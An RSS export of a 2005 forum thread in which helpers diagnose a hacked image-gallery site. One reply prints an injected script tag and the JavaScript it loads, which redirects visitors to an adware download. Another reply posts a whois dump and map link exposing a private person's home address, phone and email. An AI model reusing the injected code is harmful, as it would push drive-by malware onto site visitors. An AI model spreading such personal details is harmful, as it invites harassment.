<?xml version="1.0" encoding="UTF-8"?>

<rss version="2.0" xmlns:blogChannel="http://backend.userland.com/blogChannelModule">

<channel>
<title>Weird Download Popup in Security</title>
<link>http://www.dslreports.com/forum/r14904650</link>
<description></description>
<language>en</language>
<pubDate>Wed, 02 Dec 2009 20:18:54 EDT</pubDate>
<lastBuildDate>Wed, 02 Dec 2009 20:18:54 EDT</lastBuildDate>

<item>
<title>Re: Weird Download Popup</title>
<link>http://www.dslreports.com/forum/remark,14910134</link>
<description><![CDATA[<A HREF="/useremail/u/1141361"><b>caffeinator</b></A> : Ok, using Opera 8.51 tried your website and indeed got that attempt to download the file. On veiwing your sourcecode for the page I quickly found the offending code on the top of your pages's code:<br><br><div class="code"><PRE><span class="codetext">&lt;script language='JavaScript' type='text/javascript' src='http://domainstat.net/stat.php'&gt;&lt;/script&gt;</SPAN></PRE></DIV><br>That, in turn goes to a script that does this:<br><br><div class="code"><PRE><span class="codetext">&lt;!--<br>var currentDate = new Date();<br>var adRecurrence = "daily";<br>var adId = "a1087804322";<br>var adExpiration = 0;<br>var retry=2;<br>var flag = 0;<br>var obj=null;<br>        currentDate.setTime(currentDate.getTime() + (1*36*60*60*1000));<br>adExpiration = currentDate.toGMTString();<br>function SetCookie(sName, sValue, sExpire){<br>var expireCode = "";<br>if (sExpire) { expireCode =  "expires=" + sExpire + ";" }<br>document.cookie = sName + "=" + escape(sValue) + ";" + expireCode<br>}<br> <br>function GetCookie(sName) {<br>var aCookie = document.cookie.split("; ");<br>for (var i=0; i &lt; aCookie.length; i++) {<br>var aCrumb = aCookie&#91;i&#93;.split("=");<br>if (sName == aCrumb&#91;0&#93;) { return unescape(aCrumb&#91;1&#93;); }<br>}<br>return null;<br>}<br> <br>function upop() {<br>          setTimeout("location.href = 'http://www.dlfree.com/Update2.wmv'",1000);<br>}<br> <br>if (!GetCookie(adId)) {<br>SetCookie(adId,"1", adExpiration);<br>                        setTimeout("upop()",10*1000);<br> <br>}<br>//--&gt;</SPAN></PRE></DIV><br>That's why you are getting the popup.<br><br>Remove the Javascript code I first posted from all your header files or whatever other pages that have it.<br>It's been added at the very top, before the normal page starts. Tricky. ;-)<br><br>I.E., remove this code:<br><br><div class="code"><PRE><span class="codetext">&lt;script language='JavaScript' type='text/javascript' src='http://domainstat.net/stat.php'&gt;&lt;/script&gt;</SPAN></PRE></DIV><br>It's likely in your Header files, or your site template.<br>I doubt your host would do it...althought some crappy hosts add-in code to benefit themselves. More likely one of your permissions is set so someone has edited it themselves, or they hacked your login.<br><br>You might try posting this over on your webhost's forums as well, or email them. MG2 hasa nice forum as well that has posts about that error msg on your admin login screen ;-).<br><br>If I were you, I'd remove the semi-obvious login link for Admin on the MG2 pages as well..wouldn't be hard to brute-force attack that at all. Also stick a blank .HTML file named index.html in your /includes directory to keep people from seeing your includes...shouldn't be able to see it's files IMO.<br><br>MG2 is a nice gallery script, I've used it for some time, but the script is meant to be EZ, not secure I'm afraid.<br><br>BTW, I'd make sure your website files are backed-up..just in case someone has gotten in and decides to delete it for kicks.<br><br>Hope that helps.<br><br>CaFF<br><br><SMALL>--<br>"Only two things are infinite, the universe and human stupidity, and I'm not sure about the former." - A. Einstein</SMALL>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,14910134</guid>
<pubDate>Tue, 29 Nov 2005 18:38:35 EDT</pubDate>
</item>

<item>
<title>Re: Weird Download Popup</title>
<link>http://www.dslreports.com/forum/remark,14909904</link>
<description><![CDATA[<A HREF="/useremail/u/447260"><b>Greg_Z</b></A> : There is this option, which I have had no problems with so far:  &raquo;<A HREF="http://pics.livejournal.com/" >pics.livejournal.com/</A><br><SMALL>--<br>One man's customer loyalty is another man's misguided arrogance.</SMALL>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,14909904</guid>
<pubDate>Tue, 29 Nov 2005 18:09:01 EDT</pubDate>
</item>

<item>
<title>Re: Weird Download Popup</title>
<link>http://www.dslreports.com/forum/remark,14909875</link>
<description><![CDATA[<A HREF="/useremail/u/161103"><b>SandShark</b></A> : Thanks.  Far too much research for a simple site to host my images.  I'm in the process of taking the site down.  I don't want to cause trouble for myself, the hosting company/servers, or anyone else.  I appreciate all of the help, though.<br><SMALL>--<br><A HREF="http://www.wnbiodiesel.com">BioWillie</A></SMALL>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,14909875</guid>
<pubDate>Tue, 29 Nov 2005 18:04:44 EDT</pubDate>
</item>

<item>
<title>Re: Weird Download Popup</title>
<link>http://www.dslreports.com/forum/remark,14909536</link>
<description><![CDATA[<A HREF="/useremail/u/447260"><b>Greg_Z</b></A> : This may help: &raquo;<A HREF="http://phpsec.org/" >phpsec.org/</A><br>&raquo;<A HREF="http://search.yahoo.com/search?ei=utf-8&fr=slv1-&p=php%20security" >search.yahoo.com/search?ei=utf-8&middot;&middot;&middot;security</A><br>&raquo;<A HREF="http://www.hardened-php.net/" >www.hardened-php.net/</A><br><SMALL>--<br>One man's customer loyalty is another man's misguided arrogance.</SMALL>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,14909536</guid>
<pubDate>Tue, 29 Nov 2005 17:17:33 EDT</pubDate>
</item>

<item>
<title>Re: Weird Download Popup</title>
<link>http://www.dslreports.com/forum/remark,14908891</link>
<description><![CDATA[<A HREF="/useremail/u/161103"><b>SandShark</b></A> : Thanks again.  Is there something that makes you think my password isn't strong.  It's a combination of 12 letters and numbers.  I found the domainstat.net/stat.php entry in several system directory files, but it keeps coming back after I delete it.  <br><br>Also, can you tell me, specifically, what might have happened?  I'm led to believe that someone, perhaps the person mentioned in  Greg_Z <A HREF="/useremail/u/447260"><IMG SRC="http://i.dslr.net/bb/profile.gif" ALT="See Profile" BORDER=0 WIDTH=16 HEIGHT=11></A>'s whois lookup, has access to and can alter files for my sight.  <br><br>I have no experience or knowledge with PHP or, for that matter, any of the coding that I'm using.  Someone in Digital Imaging turned me onto the software, I thought it was simple and easy, and it looked pretty.  Other than that, you're "looking" at a dummy when it comes to website security and the vulnerabilities of PHP!<br><SMALL>--<br><A HREF="http://www.wnbiodiesel.com">BioWillie</A></SMALL>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,14908891</guid>
<pubDate>Tue, 29 Nov 2005 15:55:39 EDT</pubDate>
</item>

<item>
<title>Re: Weird Download Popup</title>
<link>http://www.dslreports.com/forum/remark,14907066</link>
<description><![CDATA[<A HREF="/useremail/u/1173110"><b>sheiny</b></A> : Well you could start by changing the login password on your admin page. Make it a strong one. You need to remove<br> src=****://domainstat.net/stat.php<br>at the top of all your pages because stat.php downloads update2.wmv. Keep an eye on this thread and you will get better, more comprehensive advice.]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,14907066</guid>
<pubDate>Tue, 29 Nov 2005 11:54:23 EDT</pubDate>
</item>

<item>
<title>Re: Weird Download Popup</title>
<link>http://www.dslreports.com/forum/remark,14906954</link>
<description><![CDATA[<A HREF="/useremail/u/161103"><b>SandShark</b></A> : Thanks for the replies.  I'm confused, though.  Basically, my site is hosted by Surpass Hosting on their servers.  Are you saying, by using PHP on my site, that I've opened a hole that would allow someone to change the files?  To put up my images, I'm using MG2 that I got from &raquo;<A HREF="http://www.minigal.dk/" >www.minigal.dk/</A> which states "that it supports PHP running in safe mode which is unsupported by almost all other dynamic image gallery scripts on the web."  Basically, all I did was upload the files to the Surpass servers and used the built-in interface to upload my images.<br><br>I'm not sure I understand what I need to do if my site is vulnerable.  Can someone please tell me?<br><br>Mods - If this doesn't belong in Security, please move to the appropriate forum.<br><br>Thanks.<br><SMALL>--<br><A HREF="http://www.wnbiodiesel.com">BioWillie</A></SMALL>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,14906954</guid>
<pubDate>Tue, 29 Nov 2005 11:39:10 EDT</pubDate>
</item>

<item>
<title>Re: Weird Download Popup</title>
<link>http://www.dslreports.com/forum/remark,14905120</link>
<description><![CDATA[<A HREF="/useremail/u/1173110"><b>sheiny</b></A> : I'm guessing someone added this line to your page:<br> src=****://domainstat.net/stat.php<br><br>update2.wmv wants to install Zango search assistant. Looks like 180Solutions stuff:<br>&raquo;<A HREF="http://www3.ca.com/securityadvisor/pest/pest.aspx?id=453094136" >www3.ca.com/securityadvisor/pest&middot;&middot;&middot;53094136</A><br>see:<br>&raquo;<A HREF="http://pcpitstop.invisionzone.com/index.php?showtopic=104629" >pcpitstop.invisionzone.com/index&middot;&middot;&middot;c=104629</A>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,14905120</guid>
<pubDate>Tue, 29 Nov 2005 02:18:23 EDT</pubDate>
</item>

<item>
<title>Re: Weird Download Popup</title>
<link>http://www.dslreports.com/forum/remark,14905008</link>
<description><![CDATA[<A HREF="/useremail/u/447260"><b>Greg_Z</b></A> : Looky, a house: &raquo;<A HREF="http://maps.google.com/maps?q=1240+Arkwood+ave,+columbus+ohio&ll=39.948076,-82.895794&spn=0.003657,0.010192&t=k&hl=en" >maps.google.com/maps?q=1240+Arkw&middot;&middot;&middot;=k&hl=en</A><br><SMALL>--<br>One man's customer loyalty is another man's misguided arrogance.</SMALL>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,14905008</guid>
<pubDate>Tue, 29 Nov 2005 01:38:48 EDT</pubDate>
</item>

<item>
<title>Re: Weird Download Popup</title>
<link>http://www.dslreports.com/forum/remark,14904976</link>
<description><![CDATA[<A HREF="/useremail/u/447260"><b>Greg_Z</b></A> : I had no problems going to your site www oldbaldandgrumpy com.  It is possible that if you are using PHP on your site, and have not taken the proper precautions, it could be that your server with Hostdime may of gotten infected.<br><br>When I went to your site, I did not get the pop-up, and went straight to the site.  Also server1cuatui.com is a TuCows hosted site.<br><br>Result for server1cuatui.com<br>--> fwhois server1cuatui.com@whois.internic.net<br>[whois.internic.net]<br><br>Whois Server Version 1.3<br><br>Domain names in the .com and .net domains can now be registered<br><br>   Domain Name: SERVER1CUATUI.COM<br>   Registrar: TUCOWS INC.<br>   Whois Server: whois.opensrs.net<br>   Referral URL: &raquo;<A HREF="http://domainhelp.tucows.com" >domainhelp.tucows.com</A><br>   Name Server: NS1.HOSTSAVE.COM<br>   Name Server: NS2.HOSTSAVE.COM<br>   Name Server: NS3.HOSTSAVE.COM<br>   Status: REGISTRAR-LOCK<br>   Updated Date: 24-aug-2005<br>   Creation Date: 24-aug-2005<br>   Expiration Date: 24-aug-2006<br><br>The Registry database contains ONLY .COM, .NET, .EDU domains and<br>--> fwhois server1cuatui.com@whois.opensrs.net:whois<br>[whois.opensrs.net]<br>Registrant:<br> Le, huong<br> 1240 Arkwood ave<br> COLUMBUS, OH 43227<br> US<br><br> Domain name: SERVER1CUATUI.COM<br><br> Administrative Contact:<br>    Le,  huong  nivahle@yahoo.com<br>    1240 Arkwood ave<br>    COLUMBUS, OH 43227<br>    US<br>    +1.6145782634<br> Technical Contact:<br>    Tech, Domain  domaintech@hostsave.com<br>    3250 W. Commercial Blvd.<br>    Suite 200<br>    Ft. Lauderdale, FL 33309<br>    US<br>    +1.9543348000<br><br> Registration Service Provider:<br>    Affinity Internet, Inc., domainmanager@affinity.com<br>    954-334-8000<br>    954-334-8001 (fax)<br>    This company may be contacted for domain DNS/Nameserver changes, and<br>    general domain support questions.<br><br> Registrar of Record: TUCOWS, INC.<br> Record last updated on 27-Aug-2005.<br> Record expires on 24-Aug-2006.<br> Record created on 24-Aug-2005.<br><br> Domain servers in listed order:<br>    NS3.HOSTSAVE.COM   207.150.198.114<br>    NS1.HOSTSAVE.COM   207.150.196.199<br>    NS2.HOSTSAVE.COM   207.150.197.103<br><br> Domain status: REGISTRAR-LOCK<br><br><SMALL>--<br>One man's customer loyalty is another man's misguided arrogance.</SMALL>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,14904976</guid>
<pubDate>Tue, 29 Nov 2005 01:28:37 EDT</pubDate>
</item>

<item>
<title>Weird Download Popup</title>
<link>http://www.dslreports.com/forum/remark,14904650</link>
<description><![CDATA[<A HREF="/useremail/u/161103"><b>SandShark</b></A> : Tonight, I was just going to my site to see if it was up because I've been having issues with my site being down a lot lately.  I clicked on the link and about three seconds after my site loaded, a Windows download window opened saying I had chosen to download "Update2.wmv" from &raquo;<A HREF="http://server1cuatui.com" >server1cuatui.com</A>.  Also, and I don't know if this is related, but when I go to my site, in the progress bar at the bottom of my screen, it says "Waiting for www.oldbaldandgrumpy.com" and then quickly switches to "Waiting for domainstat.net" and eventually my site comes up. <br><br>Thinking I might have gotten spyware or a virus on that machine, I tried on three other machines: my PowerBook (OS X 10.4.3), my wife's (Windows XP), and my daughter's (Windows XP).  On all three, that same file is wanting to be downloaded.  I have Avast! v4.6 Antivirus and Windows Firewall on all three Windows machines, and all are connected to a Linksys router, if that helps.   <br><br>Any ideas what's going on?  Thanks.<br><SMALL>--<br><A HREF="http://www.wnbiodiesel.com">BioWillie</A></SMALL>]]></description>
<guid isPermaLink="true">http://www.dslreports.com/forum/remark,14904650</guid>
<pubDate>Tue, 29 Nov 2005 00:19:18 EDT</pubDate>
</item>

</channel>
</rss>
